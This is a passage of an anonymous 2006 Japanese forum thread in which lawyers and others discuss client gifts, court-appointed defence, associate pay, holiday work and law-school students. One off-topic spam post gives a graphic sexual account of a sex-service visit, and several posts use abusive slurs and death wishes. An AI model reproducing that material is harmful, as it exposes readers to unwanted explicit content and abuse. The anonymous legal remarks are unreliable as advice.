頂き物にケチをつける気はおきない。
同じものでも全然大丈夫。
「○○さんがいつもくれる明太子ウマー」と評判になったりするし。

429 :無責任な名無しさん:2006/08/14(月) 11:34:38 ID:PQF2AutD
農家保留米の魚沼産コシヒカリはウマーでした
持って帰るの重かったけどクライアントに感謝!

430 :無責任な名無しさん:2006/08/14(月) 11:45:59 ID:Wk1Wz6Wo
一番良いのは商品券
でも顧客が本当に喜んでくれた時はその笑顔が一番嬉しかったりする

431 :無責任な名無しさん:2006/08/14(月) 11:47:27 ID:RIkBRwtX
>>426
銘菓ですか。北海道のは図抜けてレベル高いかなと(六花亭じゃなくても)

432 :無責任な名無しさん:2006/08/14(月) 11:47:35 ID:PQF2AutD
ご本人の笑顔もだが,奥さんとお嬢さんの涙ぐんだ笑顔が忘れられない某事件

433 :無責任な名無しさん:2006/08/14(月) 11:57:18 ID:CwNOOJ7r
ヤメ検には品位と限度を教えてやらねばならんな。

434 :無責任な名無しさん:2006/08/14(月) 13:28:46 ID:D4bA4y35
>>417うわ、こんな弁護士がいるんですね。
嫌なら国選なんて引き受けなきゃいいのに。
ボランティアって無償の場合に使うんですけど、好きでお金をいただいて引き受けてるんでしょ。
嫌なら俺様は安い金の国選はひきうけないって言えばいいのに。
こんな弁護士にあたったら災難、それこそ弁護される側がボランティアですね、
場数を踏ませてやってる、てね。
民事だけど私はいい弁護士さんが見つかってよかった。


435 :無責任な名無しさん:2006/08/14(月) 13:40:09 ID:pMkgUa9Y
http://wiki.livedoor.jp/fukuoka_bengoshi/d/

http://plus-1.hopto.org/soc/

436 :無責任な名無しさん:2006/08/14(月) 14:05:22 ID:kb6G9hDz
>それこそ弁護される側がボランティアですね、
>場数を踏ませてやってる、てね。

刑事事件起こすことがボランティアとは。。。
基地外の発想は常人と激しく違うなw


437 :無責任な名無しさん:2006/08/14(月) 14:16:46 ID:6SzF+xsq
税金で弁護してもらってボランティア??

基地外は氏ね!!

438 :無責任な名無しさん:2006/08/14(月) 14:21:51 ID:PQF2AutD
だいたい被告人とは,自分が犯罪犯したことで,捜査,起訴,公判に
どれだけ多額の税金使わせているか,そこから考えてもらいたいな。
おまけに税金で弁護までしてもらっていながらボランティア????
そんなこと言う香具師の常識と良心の欠如は,あまりにもひどいな。

439 :無責任な名無しさん:2006/08/14(月) 14:35:51 ID:NJrO3ucL
国選はまだいいんだが、当番弁護士となると何のためにやってるのかよくわからない
これこそ持ち出しの全くのボランティア
こんな連中のためにボランティアする必要があるのだろうか

440 :無責任な名無しさん:2006/08/14(月) 16:25:41 ID:ExRjE87g
>>434
あのな。
誰も好きで国選なんて引き受けてるんじゃねーよ。
事実上強制なんだよ。
被告人には,私選弁護人を選ぶ権利がある。
こっちには断る権利がない。
434みたいな馬鹿がいるから,アホらしくてやってられなくなる。

441 :無責任な名無しさん:2006/08/14(月) 16:31:15 ID:D4bA4y35
じゃあその犯罪者で稼ごうなんてケチな発想はなさらずに、ボランティアなんておっしゃるなら
無償で弁護をすればいいじゃないですか?W
結局その犯罪者のおかげで稼がせてもらってるんでしょ?
そんな下賤な仕事をしておきながら、偉そうな口がよく叩けるもんだ。
嫌ならそんなおこぼれに預かるようなことはせずに、国選はひきうけなければいいのでは?
どうぞ、あなたたちみたいな屑にあたっていまう方々が可哀想なので
(いくら犯罪者とはいえ、きちんと弁護してもらう権利があるでしょうから)
国選はひきうけないで差し上げてくださいね。
できればここで名乗っていただきたいぐらい、だってこんな屑を私選で雇ってしまう方がかわいそうだから。
看板に書いておいたら、僕は高い報酬でしか動きません、犯罪者の弁護もしません、ってねW


442 :無責任な名無しさん:2006/08/14(月) 16:33:55 ID:D4bA4y35
ていうか、一度依頼者の前でここに書いたようなことほざいてみなさいな。
ただのサービス業従事者が勘違いし過ぎ。

443 :無責任な名無しさん:2006/08/14(月) 16:40:18 ID:GNnvPwHI
まあ,ボランティアとかいうのは失言で,2チャンネルを甘く見ただけでしょう。
あなたも「依頼者」という観点はちょっと違うのでその点は考慮してください。
まっとうな弁護をする義務はたとえ無償でもあるのは当然です。

444 :無責任な名無しさん:2006/08/14(月) 16:40:44 ID:PQF2AutD
441みたいなアホな荒らしはスルーで行こう
国選弁護を下賎な仕事で稼いでるときたもんだ
こんな常識のないアホは相手にしない方がいい
言いがかりつけて弁護士叩きで快感を覚えているDQNなんだから

445 :無責任な名無しさん:2006/08/14(月) 16:43:11 ID:/0IBTc+l
みんな釣られすぎw
444先生の言うとおり。
相手にする価値もないよ。

446 :無責任な名無しさん:2006/08/14(月) 17:02:10 ID:c9NfHEAc
事務所ってお盆の期間休みじゃないの?
大変だな。

447 :無責任な名無しさん:2006/08/14(月) 17:06:27 ID:emzInZkl
>>446
それがこの時期も働いている人はいるんだよ。裁判所の近くに事務所が沢山あるが
事務所の電気がついてる=働いてる事務所は意外にある。まあ2ちゃんしたり適当に
息抜きもしたりしてるわけだがw

448 :無責任な名無しさん:2006/08/14(月) 17:11:23 ID:PQF2AutD
さっき高検に電話したら高検検事が電話に出た。
「先生と同じで今年もお盆休みはないですよ」だって。
お互いの夏季年休権侵害を嘆いて……。

449 :無責任な名無しさん:2006/08/14(月) 17:14:26 ID:9bNPX8Uf
国選をマジメにやったらボランティアどころか赤字だよね。
とられる時間のタイムチャージを考えたら。
それよりも,確かに犯罪捜査のほうが税金をかなり費消している。
常習累犯窃盗が否認したために指紋鑑定が付いてたり。
覚せい剤のガスクロマトグラフィーや,盗んだ通帳で有印私文書偽造同行使詐欺したときの筆跡鑑定なんか,
普通の鑑定機関に頼んだら十数万から何十万てかかる。

450 :無責任な名無しさん:2006/08/14(月) 17:15:47 ID:9bNPX8Uf
>>446
盆正月は溜まった起案の時間。
ゴルフは暑いし旅行は混むし,普段休んで休みに働く。
合理的。

451 :無責任な名無しさん:2006/08/14(月) 17:18:05 ID:PQF2AutD
>>450
そう思いますが,家族が反発して_| ̄|○

452 :無責任な名無しさん:2006/08/14(月) 17:28:28 ID:blPzyVU1
8月15日に訴訟提起する予定で準備中。

453 :無責任な名無しさん:2006/08/14(月) 18:56:01 ID:p9V88vXF
甲子園が終わると,夏ももう終わりだなあという気になる。

454 :無責任な名無しさん:2006/08/14(月) 21:05:43 ID:9BTiantB
当方町弁イソです。もうすぐ初めての契約更新があるけど、
昇給は全く期待できない。まあ、そのへんのとこをうやむやのまま
事務所入ったのが悪いんだけど。一般的にそんなもんなの?
事務所追い出されるよりましかー。同期にも何人か事実上
事務所追い出される人がいるんで。

455 :無責任な名無しさん:2006/08/14(月) 21:16:39 ID:pG/SzbsO
>>419
メロンを持っていき、先生の目が輝いたら、その人は2ちゃんねらーのMSせんせだw

456 :無責任な名無しさん:2006/08/14(月) 21:57:30 ID:GMzv57II
>>454
おれも街弁イソ。
契約更新も何も契約期間なんて決めてない。
昇給の取決めもなし。

個人事件推奨してるから、収入アップは個人事件でやってね、という方針。
個人事件でかなりいけるようになったらパートナーになってよ、という感じ。

で、今日は事務所の盆休みなのに仕事。
急ぎの刑事が入ってボスまで呼び出してしまった・・・。
さっき終わってボスと別れたんだが、帰り際「休みなのに働いてもらって悪いね。これで飯でも食べてよ。」とお小遣いもらってしまった。
優しいボスに感謝。

457 :無責任な名無しさん:2006/08/14(月) 23:24:29 ID:TGAnTxW5
すでに夏期休暇を取り終わった裁判官の都合で今日尋問があったやつがいるそうだ

>>454何期?


458 :無責任な名無しさん:2006/08/14(月) 23:29:56 ID:Z8j9T+xX
私は工場を経営していまして,昨年、設備投資の機材を購入するために自分の所有している
アパートを抵当に入れ、銀行から借り入れをして機材を購入しました。
しかし、景気が悪く、工場の経営が上手く行かず、返済ができなくなり、銀行に抵当権を実行され
アパートが競売され、他人に渡ってしまいました。
その人は、アパートの住人を追い出して、そのアパートを壊して、マンションを建築するそうです。
他人のことなのですが、そのアパートの住人は、頑固として退去しないそうです。
どのようにすれば法的にアパートの住人を立ち退かせることができるのですか。
ちなみに私とのアパートの住人の賃貸借契約は競売の時に失効しています。


459 :MS754 ◆yGUnQdhyV2 :2006/08/14(月) 23:31:13 ID:WaqGqzsf
>>455
し〜。ナイショですよ。今年は夏期休暇を早めに取ったら、行き先(沖縄)が台風に
直撃され、飛行機が欠航になりました_| ̄|○

ところが連れ合いが、旅行会社と交渉して、2日後に沖縄にいけることになりました
_| ̄|○ _| ̄|○ _| ̄|○



460 :無責任な名無しさん:2006/08/14(月) 23:49:47 ID:BEqcci+/
>>454
普通昇給は年50〜100はあるよ。
1年目はないとしても2年目から3年目のときはあるでしょう。
スキルが違うのだから。
俺のときはあったよ。

461 :無責任な名無しさん:2006/08/14(月) 23:57:17 ID:8VI/XFFo
>>458
やさしい法律相談part186
http://school5.2ch.net/test/read.cgi/shikaku/1155478404/

462 :無責任な名無しさん:2006/08/15(火) 08:35:13 ID:gar72Ef0
昨日から通常どおり出勤。

事務員は休暇中なので,裁判所や郵便局など
自分で回っている。

463 :無責任な名無しさん:2006/08/15(火) 08:53:37 ID:/3+VA3cH
呆テラスピンチ

http://www.asahi.com/national/update/0815/TKY200608140271.html

464 :無責任な名無しさん:2006/08/15(火) 09:05:36 ID:2go5zYcV
>>463

つ[日弁連と法務省のお役所仕事コラボレーション]

465 :454:2006/08/15(火) 10:41:04 ID:1mmxaeol
レスありがとうございます。
昇給あるもんなんですねー。
うちは>>456さんと同様の方針みたいなんで
2年目から3年目のときもなさそうです。
個人事件でこつこつ頑張っていきますー。

466 :無責任な名無しさん:2006/08/15(火) 11:18:31 ID:mn8wBf/b
>>460
今はないです。
少なくともうちはorz
同期に聞くと、そういう所がけっこうある。
昇給してるところもあるようだけど。
事務所事件が多くて、個人事件はほとんどできないし。
ほんと、弟弁ごっそり連れて独立しようかな。
同じ不満持ってるはずだし。
これって掟破り?
酷使だけしておいて利益は独り占めしてるボス弁にも非があるとも
思うんだけど。

467 :無責任な名無しさん:2006/08/15(火) 11:25:33 ID:2QA7YKBm
きのうNS専門店で夢にまで見た女の子との初エッチ 生チンボーを突っ込んできたよ 気持ちよかったなあ
1回目のSEXは40分間たっぷり前戯でいたぶった 最初はDKからいきなり乳首やクリに行かず、姫を四つんばいにさせ
ブラ&パンティーつけたまま背中&大腿を散々舐めまわした後 ブラはそのままにし徐々にパンティーを剥ぎ そのあと臀部を舐めながらケツの割れ目を広げ、
いきなりケツの穴をベロベロ舐めてやった 姫は最初「いやー止めてください!!恥ずかしいー!!」と抵抗したが、その快感には逆らえず、姫様はオレのA舐めを堪能
その後姫はクリ擦りとクリ舐めで2回昇天
「○○さんのオチンチンをユ○の超Hなオマンコに突っ込んでください」と散々言わせてじらした後、満を持して突然ユ○の超スケベオマンコに生チンボーを突っ込んでやった
そしたら姫のおまんこの何と素晴らしい事か あの締まりの良さは俺も初めてで感激、思わぬ絶品名器だった
姫が「精子が欲しい」なんて言ったから、オレも「子供を作ろう」と応戦 そしたら姫は「○○さんの赤ちゃんが欲しい」と反応
合体しながらのこんな会話にとても持ちこたえられず、今度はオレが勝手に昇天でここまで1勝2敗

マットはなしで雑談したあといろいろ対位を変えて
最後は正常位で早く遅く姫のオマンコを突きまくってやった 姫も「気持ちいい、奥まですごい」を連発
そのうち姫が「逝きそう!!逝くーっ!!逝くーっ」となったのでおれも「今だ」と思い「一緒に逝こう」と姫に言って、
姫が逝くのと同時に超快感と一緒に精液を姫の生オマンコに再度放出 ホント良かったよ やっぱNS冥利に尽きるね


468 :無責任な名無しさん:2006/08/15(火) 11:38:22 ID:2QA7YKBm
【心の】旦那には絶対言えない過去【奥に】
http://human5.2ch.net/test/read.cgi/ms/1154259322/


469 :無責任な名無しさん:2006/08/15(火) 16:29:35 ID:jNl5Gu2X
お盆中にも弁護士は事務所に詰めてるもの?
余裕がある時にお願いしたい書類を送りつけておこうかなと思って。

470 :無責任な名無しさん:2006/08/15(火) 16:35:26 ID:2go5zYcV
>>469
普通は詰めていないよ

471 :無責任な名無しさん:2006/08/15(火) 16:40:35 ID:/3+VA3cH
オレは1週間の休暇中
事務所になんか出るもんか

472 :無責任な名無しさん:2006/08/15(火) 16:44:26 ID:2go5zYcV
>>469
弁護士に余裕なんかないから
その書類は永久に「送りつけ」ないことです

473 :無責任な名無しさん:2006/08/15(火) 18:17:12 ID:jNl5Gu2X
>>470ー472
そっか、事務所にはいないのね。
じゃあFAXで流しておきます。

474 :無責任な名無しさん:2006/08/15(火) 18:19:10 ID:JQL+o71I
>>473
電話一本。。。って居ても取らないか。
それでいいんじゃね。

475 :無責任な名無しさん:2006/08/15(火) 18:32:24 ID:jNl5Gu2X
>>474 ですよね、ありがとうございます。
先生の事務所は平日でも夕方5時になると、いっさい電話を切ってしまうので、ご連絡できないので。

ところでその書類を送りつけようと思う先生ではなく、以前お世話になった先生にまた依頼をすることになり、
そのお願いがてらご挨拶に伺うのですが、お持ちするのは菓子折り程度でいいでしょうか?
今の先生は若い方なので、いつもワインとか旅先の名産品とかで誤魔化していたのですが、
今度の先生はベテランの先生なので。
かと言って、いきなり商品券も失礼かな、と思ったり。


476 :無責任な名無しさん:2006/08/15(火) 19:07:54 ID:Ncmywpav
>>454、456
 いささか厳しい言い方ですまないが、
最近の弁護士は、サラリーマン根性が一般的になってきているのですか。

イソ弁は、食べていけるだけの給与等
(それでも、私のボスは、私がそんなにはイランと言ってるのに700万円くれました。)をいただいて、
ボス弁や兄弁ののスキルを学び、盗んで自己の能力、経験を稼ぐ研修期間だと思っていた世代なので。



477 :無責任な名無しさん:2006/08/15(火) 21:05:08 ID:p1tLHHuw
>>476
そういう職人根性が,すでに古い。
これだから年寄りは困る。

478 :無責任な名無しさん:2006/08/15(火) 21:13:57 ID:ttxmLWxf
476先生の言うことはしごくまとも。
それがいやなら独立しなよ。


479 :無責任な名無しさん:2006/08/15(火) 22:02:25 ID:jNl5Gu2X
非常に申し訳ないんだけど、他で色んな意見があって混乱してるのですが、
提訴する相手の住所がわからない(住民票を移さず逃げている)場合、勤務先だけでも
提訴可能ですよね?(書類の送達は勤務先にされるんですよね)
書留送達は不可って言われたんですけど、これは気にしないでもいいんでしょうか?(意味がわからない)


480 :無責任な名無しさん:2006/08/15(火) 22:04:45 ID:JQL+o71I
>>479
>>2

481 :無責任な名無しさん:2006/08/15(火) 22:19:42 ID:N/BnhfaH
そういや、弁護士会が今回の小泉参拝に政教分離に反するとか言って非難声明出したみたいだな。

こんな憲法違反かどうか微妙な行為を非難する暇があったら、普段1宗教法人に対する政治家たちの
信教の自由の侵害に対して文句を言うべきだと思うんだがな・・・

まあ弁護士会を動かしてる連中は、政治団体だから仕方ないとも思えるけど、
もうちょっと中立なフリだけでもすればいいのにな。

482 :無責任な名無しさん:2006/08/15(火) 22:33:06 ID:jNl5Gu2X
>>480 だって他のスレ、わざと嘘教えるんだもん。
誰かたのんます〜

483 :無責任な名無しさん:2006/08/15(火) 22:41:34 ID:2ZVhwYwG
会長声明出てるな。
盆にもかかわらず熱心なことだ。

強制加入団体なのに,意見の分かれる案件で会長声明を簡単に出すのはいかがなものかね。



484 :無責任な名無しさん:2006/08/15(火) 22:42:27 ID:2ZVhwYwG
>>482
ここで聞いても嘘教えるよ。
タダ食いでまともなメシが食えると思わないでくれ。

485 :無責任な名無しさん:2006/08/15(火) 22:43:49 ID:AEnvZfo8
>>482
お金を払って最寄の弁護士事務所で相談しましょう

486 :無責任な名無しさん:2006/08/15(火) 23:13:19 ID:jNl5Gu2X
だって弁護士みたいな馬鹿にお金払いたくないもん。

487 :無責任な名無しさん:2006/08/15(火) 23:16:39 ID:aeRQN1Z1
>>486
そうですか
それじゃあ司法試験に受かったら
またここにおいで

488 :無責任な名無しさん:2006/08/15(火) 23:21:21 ID:jNl5Gu2X
司法浪人生の馬鹿と同じにしないでください。
私はそんな下賤な仕事にはつきませんから。
両親に怒られちゃいますわ。プ

489 :無責任な名無しさん:2006/08/15(火) 23:31:00 ID:DEkagecy
>>488
べつに弁護士をバカにしてもいいけど、まぁ説得力全くない
書き込みだねぇ。下賤って言葉はあんまり使わない方がいいと思うよ。


490 :無責任な名無しさん:2006/08/16(水) 00:03:01 ID:aeRQN1Z1
馬鹿や下賤や「プ」を乱発する投稿はスルーでよろぴく
去年辺りから法律系複数のイタに巡回出没する方です

491 :無責任な名無しさん:2006/08/16(水) 00:17:57 ID:o14X1Pcl
困ったときに,わざわざ馬鹿を選んで相談するって,すごくステキな発想ね。

492 :無責任な名無しさん:2006/08/16(水) 00:30:53 ID:pb/A1S3N
みなさんは依頼者に書類を送る時って書留や宅急便で送ってます?
人にみられたくない書類なのに、いつもウチの弁護士は普通の定形封筒に入れて送ってくるので、
先日近所に誤送され中身を見られてしまいました。


493 :無責任な名無しさん:2006/08/16(水) 00:57:59 ID:NIy5/+yY
>>492
預かり書類の原本を送る時は,書留かエクスパック。
それ以外の書類は普通郵便。
「書留で送ってくれ」と言われればそうする。
実費をその分請求しないといけなくなるけど。

494 :無責任な名無しさん:2006/08/16(水) 02:09:53 ID:pb/A1S3N
>>493 さんきゅ。

ところでどうして法律関係の書類や弁護士の書く文章は「、」ではなく「,」を使うの?
正しくは日本語の文面では「、」を使うべきなのに。
いや、べつにいいんだけど。

495 :無責任な名無しさん:2006/08/16(水) 02:33:20 ID:yqazX5DK
>>494
そもそも、「正しい日本語」は縦書きなんだけど知ってた?
横書きが頻繁に行われるようになった頃、句読点の書き方も混乱してたので、
正しい公文書の書き方を国で決めて、横書きの句読点は「、」「。」とする。って決めちゃった
ので、官公庁で真面目な所はみんなそう書いている。
裁判所は真面目なのでそれに従ってるんで、弁護士はその付き合いでそうしてるだけ。

496 :無責任な名無しさん:2006/08/16(水) 02:46:33 ID:pb/A1S3N
>>495 あれ、言ってることが逆なんだけど。
弁護士や裁判所では「,」を使うけど、正しくは「、」だよね?ってこと。


497 :無責任な名無しさん:2006/08/16(水) 02:51:22 ID:yqazX5DK
>>496
ごめん。変換ミス。
何のために書き込んだか解らないような致命的な変換ミスだな。

正しい公文書の書き方:
横書きの句読点は「,」「。」とする。
縦書きの句読点は「、」「。」とする。

498 :無責任な名無しさん:2006/08/16(水) 03:05:19 ID:pb/A1S3N
>>497 なるほど。

499 :司法浪人生が何か?:2006/08/16(水) 03:58:22 ID:rSGrntGn
>>488ID:DEkagecy
君、面白いね 有名な粘着房なのかよ
やさ法で何かいじめられたのかい?
根性腐っているみたいだが、もう一度来いよ
マジネタ持ってよ、何時でもキッチリモンでやるし
だが、どうせ吹かし『イモ』だろうけどな

誘導(ご来場歓迎)
やさしい法律相談part186
http://school5.2ch.net/test/read.cgi/shikaku/1155478404/l50

念の為に言っておくが、下記は削除予定のバッタモンだから間違うなよ
やさしい《優しい》法律相談part186
http://school5.2ch.net/test/read.cgi/shikaku/1155475607/l50

500 :無責任な名無しさん:2006/08/16(水) 07:04:39 ID:f85jijfD
内容証明郵便や簡易書留郵便で相手に郵送した場合、法的に効果があるのですか。

501 :無責任な名無しさん:2006/08/16(水) 10:24:59 ID:bfnYwj3L
>>500
>>2

502 :無責任な名無しさん:2006/08/16(水) 10:25:20 ID:WZvPB2wJ
それ自体に法的効果はない。
当該文書を送った,受領した,という事実を立証しやすくはなる

503 :無責任な名無しさん:2006/08/16(水) 10:41:50 ID:dRqJq4Gs
いちいち質問に答えるなよ。

504 :無責任な名無しさん:2006/08/16(水) 12:03:58 ID:XMkRNKf+
>>476
私は地方のイソ弁ですが,クラス会とかで同期が集まると,地方の弁護士同士,独立のことを視野に入れながら,事務所が成り立つかシミュレーションがてらの話をします。
んで,そういう話をしていると,都会のイソ弁根性全開の人は,あたかも我々が「金に汚い」「金の話ばかりする」かのように言い,国選やってお小遣いが入ってうれしいな的な脳天気な話をします。

ま,都会,大都市の若い人は,おっしゃるとおりサラリーマン根性ですな。
将来のことを不安に思ってるふしがなさそうなのもすごいです。将来も給料をもらって使われていくつもりなんでしょうな。

505 :無責任な名無しさん:2006/08/16(水) 12:18:04 ID:d13lOO4O
>>504
アメリカでも事務所経営弁護士とアソシエイトは話が合わない。
経営者とサラリーマンの違いなんだから。
それに,都市部ではパートナーを夢見るが,地方は独立が当然となる。
都市部と地方では必要な開業準備資金が桁違いだからね。
日米はこの点が変わらないと思うよ。
お互いを誹謗しても立場や環境が違うんだか意味ないよ。
むしろ相互理解を深めた方が将来の自分のためになると思うよ。

506 :無責任な名無しさん:2006/08/16(水) 12:56:59 ID:XMkRNKf+
>>505
なるほど。
相互理解はしたいんですが,あまりにも話が合わないので。
経営者とサラリーマンの他にも,弁護士が余っている都会での活動と現状では人手が足りない田舎の差もあります。


507 :無責任な名無しさん:2006/08/16(水) 13:26:34 ID:Dw6UX5kd
都会でも生涯イソ弁なんて不可能だろう。
雇う方の立場に立てば、若くて、安くて、従順なイソ弁を雇うよ。
とうのたったイソ弁なんてもう10年もすれば全てお払い箱だよ。
花の命は短いよ。

508 :無責任な名無しさん:2006/08/16(水) 13:28:49 ID:TSfXuFO4
田舎のイソの方は「リーマン根性の哀れな奴め」と
都会のイソを馬鹿にしているのかもしれないが,
都会のイソの方は,逆に「都会での苦労を知らない田舎モノめ」と
考えているかもしれないな。

独立の難度がまったく違うのだから,
それを無視して偉そうなこと言ってると,
相手にされなくなるぞ。

509 :無責任な名無しさん:2006/08/16(水) 13:42:21 ID:XMkRNKf+
都会での苦労って何なんだろう
マジで分からない。

510 :無責任な名無しさん:2006/08/16(水) 13:43:23 ID:XMkRNKf+
都会の人らは田舎の弁をバカにしてるよ。


511 :無責任な名無しさん:2006/08/16(水) 13:48:12 ID:1x4ptIId
都会だと、事務所借りるのも一苦労だそうだからなあ。
修習生の弁護修習の引き受けに関して、東京では事務所内に修習生の机の置き場所がないという理由で、
修習生を引き受けない事務所がけっこうあるそうだし。地方じゃ、机一つ分の余裕がないような事務所なんて
考えられんけど。

地方じゃ1000万あれば当面の運転資金含めて開業資金としては十分だしなあ。
都会じゃ、もっとかかるのかな?


512 :無責任な名無しさん:2006/08/16(水) 13:53:36 ID:RoDdnv7E
俺は典型的な田舎弁護士だが,開業資金は200万円で済んだな。

まあ,未だ事務所に「注釈民法」もないのだが。

513 :無責任な名無しさん:2006/08/16(水) 13:55:30 ID:Dw6UX5kd
俺は都会出身で田舎がないが、もし地方出身ならば間違いなく地方で開業していたよ。
おいしい水、空気、自然、趣味、豊かな生活をエンジョイしたかったな。


514 :無責任な名無しさん:2006/08/16(水) 14:26:46 ID:d13lOO4O
>>513
そのエンジョイの方を優先してニューヨークの巨大事務所から湖畔の独立事務所へ移動した米国人弁護士がいってたぞ。
「ノット・ラットレース(パートナー出世競争は止めた)
バット・ヨットレース(ヨット大会で楽しんでいるよ)」
ここらへんは,その人の人生観だから自分に合った方を選べばいいと思う。

都会では独立するより大事務所のパートナーを目指すのも一応の合理性がある。
東京都心のいい所なら(当座の生活費を含む)開業資金が4000万円と聞いたし。
それならビッグな事務所のパートナーになった方が安上がり(なれればだけど)。

また東京のイソには国選が,小遣い稼ぎ〜睡眠時間剥奪といろいろあると思う。
地方だと,ほとんど強制的割り当てで,民事で稼ぐ時間を圧迫するところも多い。
いろいろな立場の弁が情報交換できるスレだから有効活用しようじゃないですか。

515 :無責任な名無しさん:2006/08/16(水) 15:25:24 ID:m3Aydvel
今日は事務所やってる?

516 :無責任な名無しさん:2006/08/16(水) 16:11:00 ID:d13lOO4O
やっているところはやっている
お盆休みの前後休暇でやってないところも多い

517 :無責任な名無しさん:2006/08/16(水) 20:13:04 ID:bfnYwj3L
ロー生ってのはこんな甘ったれた奴ららしい。俺は絶対に採用してやらない。


ロースクール生は本当に過酷な環境でみんな必死に頑張っています。次から次へと出される学説研究中心の無意味なレポートの嵐の中、時間を見つけてみんな予備校本を読んで新試験対策をしています。
ロー生はみんな明るいし性格も良いしイベントにも積極的で今年の春だけでも飲み会は十回くらいしたし、夏休みに入ってからもパーベキュー大会、クラス合宿、ソフト大会、花火大会とかなり盛り上がっているくらいでみんな社交性抜群で法曹に向いています。
ロー生のほとんどは毎日必死に勉強しているので、八割合格に値すると思います。

518 :無責任な名無しさん:2006/08/16(水) 20:33:45 ID:d13lOO4O
>>517
甘やかす大学側も大学側だし(制度的にロー生が教官を採点するそうだ)。
ローに入れば8割は弁護士で楽勝と思い込んで気を抜いたロー生も多いもよう。
だけど,不勉強で新司法試験に落ち続けることが常態となれば,彼らも目が覚めてひたすら勉強に走るか,ローを退学するというのが続出するんじゃないか。
そうでなければ日本の司法の未来は暗黒だよね。

519 :無責任な名無しさん:2006/08/16(水) 21:38:23 ID:aCDOvwum
http://www.hiraoka.rose.ne.jp/C/050715S2.htm
行政指導も抗告訴訟の対象に事実上なつたみたい。
内規や要綱に基づく行政指導は事実行為で処分性がなく処分性が否定されていた
今までの判例や通説が今後変わるんだ。
皆さんの考えは?


520 :無責任な名無しさん:2006/08/16(水) 21:51:20 ID:d13lOO4O
>>519
本人訴訟が増える
示談交渉の材料(or恐喝のネタ)として判例が使われる
環境問題や住民訴訟の有効な武器になる

521 :無責任な名無しさん:2006/08/16(水) 22:01:38 ID:fhVkKEvv
講義をしたり話をしたり,実務家教員から聞いた印象では,ロー生の2割くらいは,非常に熱心で謙虚で,リスクも充分にわかっているようだ。
しかし,未習から4,5年の勉強で修習生になるんだから,質は確実に落ちるだろう。
我々の時代は,6科目か7科目に集中して,余暇も“エクスターンシップ”も“無駄なレポート”もなしに,5年〜10年はカンヅメ勉強してきたのだから。
専門家としての資質は,結局のところ,修習から新人3年目くらいまでの間に決まるんだろうけどね。

522 :無責任な名無しさん:2006/08/16(水) 22:02:21 ID:omeeGp5h
>>519
非弁です。一般人です。
ですが、詳しく解説をお願いします。

523 :無責任な名無しさん:2006/08/16(水) 22:07:26 ID:bfnYwj3L
>>522
嫌です。
相談料を払うか,自分で勉強してください。

524 :無責任な名無しさん:2006/08/16(水) 22:18:31 ID:aWtQy1mk
当方非弁ですが。
法律の知識や訴訟戦術に長けていることも重要かもしれませんが
何より人として人の心の痛みや悲しみ、物の道理を知っていること
人の心の痛みや悲しみ、物の道理を理解できること
それらを法律家としての活動に反映できること
が大切なのでは???

525 :無責任な名無しさん:2006/08/16(水) 22:23:26 ID:NX7ggfpx
ローの知り合いに話を聞くと彼らは彼らでプライドを
持っているけどね。旧試験の人達には負けてないと。
ただ、よく聞くとその根拠は新試験の科目数や難しさで
あって、彼ら自身の中身の問題ではないように聞こえた。

526 :無責任な名無しさん:2006/08/16(水) 22:26:44 ID:d13lOO4O
俺たちのころは現実に択一で最初不合格になって,初めてスタートラインといわれた
ロー生は試験に落ちた経験を経てないから,まだ幻想にひたって鼻が伸びているんだろう

527 :無責任な名無しさん:2006/08/16(水) 22:58:34 ID:aCDOvwum
>>519
自分は、仮に行政指導を内規や要綱で受け、不許可処分になり不許可処分取り消し訴訟の場合、
行政指導について処分性が認められたわけだから
動機の不当性や憲法81条の処分に対する違憲の有無等 以前の「司法審査」
以上に裁判所は行政指導(内規や要綱)に対して「司法判断」という形態で原告に
とって有利になると考えますけど…

528 :無責任な名無しさん:2006/08/17(木) 02:10:48 ID:d+1+jzT4
「人として」「道理」「筋」
ゴネ野郎3大用語。強弁をもって自己の意見を正当化したいときに使用する

529 :無責任な名無しさん:2006/08/17(木) 09:07:06 ID:1TZCOfQD
>>528
当たり屋からよく聞くね。
「誠意」「人間としての責任」「道理」「道徳」「筋」

530 :無責任な名無しさん:2006/08/17(木) 09:22:11 ID:LAy1MNzn
ロー生も>524のようなことをよく言うよね。
勉強だけしてきた旧司法試験組はダメだと批判ばかり。
そして、自分達はローの間に外部から相談を受けたりしていて相談者の
気持ちが分かる、法律の知識なんかよりそういうことが大事だとのたまう。
でも、弁護士は何よりまず法律の専門家であるところが出発点なのだから
法律の知識は最低限持っていなければならないのに。
相手に腹立てている相談者に共感できれば良いだけなら、民生委員と何も
変わらない。

531 :無責任な名無しさん:2006/08/17(木) 09:23:09 ID:B+X6yD9r
>>529
893屋さんからも聞きますね。あと「人の道」とか。
訴訟戦術よりクライアントの利益を守るため請求原因の法的構成や相手方資力の確認なんかの方が大事で,人の道云々なんか当然の前提なのに。
なんか,弁護士は法律知識や訴訟戦術というテクだけで食っている非道な法律屋,と勘違いするんだろうね。


532 :無責任な名無しさん:2006/08/17(木) 10:03:24 ID:YjgJGzrp
>>528>>529
あと、「信義」「筋合い」こんなのもそうだね。

533 :無責任な名無しさん:2006/08/17(木) 11:01:22 ID:hTXvkeyx
>>530
相談者の気持ちとかって言う奴に限って,依頼者に良いように使われてにっちもさっちもいかなくなることが多いような気がしますね。
メシ食うのに困るロー卒弁護士が,世の中から使い捨てにされていくのが目に浮かぶようです。

いずれにせよ,おっしゃるとおり,まずは法律なんですけど,60期あたりでもぽつぽつひどいのがいます。
まあ私も50期代後半なので諸先輩方から見ると足りないところは多いんでしょうが,まあひどいのがいます。

>>532
誠意だのなんだのは,自分自身に言うべきものであって,人に言うべきものではない
と昔尊敬していた人から聞いたことがありました。


534 :無責任な名無しさん:2006/08/17(木) 11:22:51 ID:G6MaJh/T
誠意=カネ

535 :無責任な名無しさん:2006/08/17(木) 12:18:56 ID:HxWEXctI
小泉の「適切」と同じだよな。

536 :無責任な名無しさん:2006/08/17(木) 12:28:36 ID:G6MaJh/T
自由と正義ってどうして記事のピントがずれてるのだろう。
法テラスや2007年問題など特集する値打ちのある問題がいっぱいあるのに。
こんなのなら送ってもらわないでいいから会費千円値下げしろといいたい。


537 :無責任な名無しさん:2006/08/17(木) 12:36:42 ID:97vMH/jB
法律に長けていて、冷静に判断ができ、
依頼者に対しての優しさもあるというのが一番。
なんだろうけどねorz


538 :無責任な名無しさん:2006/08/17(木) 12:37:23 ID:hTXvkeyx
>>536
つ日弁連

539 :無責任な名無しさん:2006/08/17(木) 14:36:04 ID:1TZCOfQD
>>536
記事の締切りが3ヶ月前だったりするからね。

